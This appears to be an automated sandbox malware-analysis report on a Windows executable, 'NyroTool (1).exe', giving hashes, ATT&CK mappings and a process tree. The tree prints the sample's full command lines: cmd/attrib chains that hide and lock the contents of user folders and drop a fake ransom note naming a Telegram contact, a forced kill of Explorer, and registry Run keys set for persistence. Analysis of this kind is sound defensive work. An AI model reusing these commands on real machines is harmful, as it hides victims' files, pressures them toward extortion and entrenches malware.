80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf

Analysis

max time kernel
150s
max time network
136s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 14:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
NyroTool (1).exe
Size 211KB
Sample261024-rfgd8aat7v
SHA256 80229b275ca9f02dd57a3f6e10fb4a3b6453193180b48eb93f7b8790412b2cbf
MD5 f22397e3d13fa9c9f599298b077232cf
SHA1 d9ceb295d2ad235faa3a5f59f8a4bec82f4cc414
SHA512 5ce3daf4754934b1d2d7d41375465e08bb66ce74cf5aa010e0ad465d4941f3d5415be5ac861b3f23f751fa71e827341a691376e48f775fac7f2907a0b1a7670c
SSDEEP 6144:8l8A/ehUOqxaPB/VmQrKUiPbDddASCpMW90KImQiXnhbmew:8eAwUOqxaPFVZYvj
TLSH
T1A4244A9813AB897DD63D237ED0A1110507F4A227C103E35E9EE5E4F95F2B312AB12B97
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\NyroTool (1).exe\""	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\NyroTool (1).exe\" -startup"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	NyroTool (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	NyroTool (1).exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1452	cmd.exe
2888	cmd.exe
4196	cmd.exe
5680	cmd.exe
2160	cmd.exe
3676	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NyroTool (1).exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NyroTool (1).exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2912	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4620	NyroTool (1).exe
4620	NyroTool (1).exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4620	NyroTool (1).exe
Token: SeDebugPrivilege	2912	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 3676	4620	NyroTool (1).exe	94
PID 4620 wrote to memory of 2160	4620	NyroTool (1).exe	95
PID 4620 wrote to memory of 1452	4620	NyroTool (1).exe	97
PID 4620 wrote to memory of 5680	4620	NyroTool (1).exe	98
PID 4620 wrote to memory of 4196	4620	NyroTool (1).exe	100
PID 4620 wrote to memory of 2888	4620	NyroTool (1).exe	101
PID 4620 wrote to memory of 2912	4620	NyroTool (1).exe	103
PID 2160 wrote to memory of 1732	2160	cmd.exe	116
PID 4196 wrote to memory of 3804	4196	cmd.exe	117
PID 3676 wrote to memory of 3212	3676	cmd.exe	119
PID 5680 wrote to memory of 2528	5680	cmd.exe	118
PID 1452 wrote to memory of 4496	1452	cmd.exe	120
PID 2888 wrote to memory of 808	2888	cmd.exe	121
PID 4196 wrote to memory of 1008	4196	cmd.exe	122
PID 2160 wrote to memory of 5496	2160	cmd.exe	123
PID 1452 wrote to memory of 1532	1452	cmd.exe	124
PID 5680 wrote to memory of 5604	5680	cmd.exe	125
PID 3676 wrote to memory of 2120	3676	cmd.exe	126
PID 2888 wrote to memory of 3980	2888	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4496	attrib.exe
3212	attrib.exe
1008	attrib.exe
3980	attrib.exe
1532	attrib.exe
808	attrib.exe
2528	attrib.exe
5496	attrib.exe
2120	attrib.exe
5604	attrib.exe
3804	attrib.exe
1732	attrib.exe

C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe
"C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3212
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1732
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4496
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1532
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5680
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2528
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5604
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4196
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3804
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @webrateboyanaana 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:808
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3980
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2912

C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe
"C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe"
1⤵
PID:4836

C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe
"C:\Users\Admin\AppData\Local\Temp\NyroTool (1).exe" -startup
1⤵
PID:3860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 83B
SHA256 9fc881ccab26df062af2db23e8dc4ca11cf70f8c95c14660686239f465cefafe
MD5 4b6db11359dc27390a9bcc26c16ef172
SHA1 85b48cba726084926634460c3ab535502fe17c5d
SHA512 caf02b2be31a254c2b5b243d49d8c01c150ba256294cb8aac1acf6d2fe51516373b6f80bd1a6c98bd60576ab7cdd54315b5d35377c5d631a68249278199b6ebf
TLSH
T17BA012583D183A44210012F33A31B001546CA90C10071C425204085230610C054DF920
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4620-28-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-39-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-3-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-4-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-5-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-6-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-7-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-8-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-0-0x00007FFB3DF3F000-0x00007FFB3DF40000-memory.dmp

Download

memory/4620-24-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-25-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-29-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-2-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-27-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-26-0x00007FFB3DDB0000-0x00007FFB3E754000-memory.dmp

Download

memory/4620-30-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-31-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-32-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-33-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-34-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-35-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-36-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-37-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-38-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-1-0x0000000000F60000-0x0000000000F9C000-memory.dmp

Download

memory/4620-40-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download

memory/4620-41-0x000000001C920000-0x000000001CAEA000-memory.dmp

Download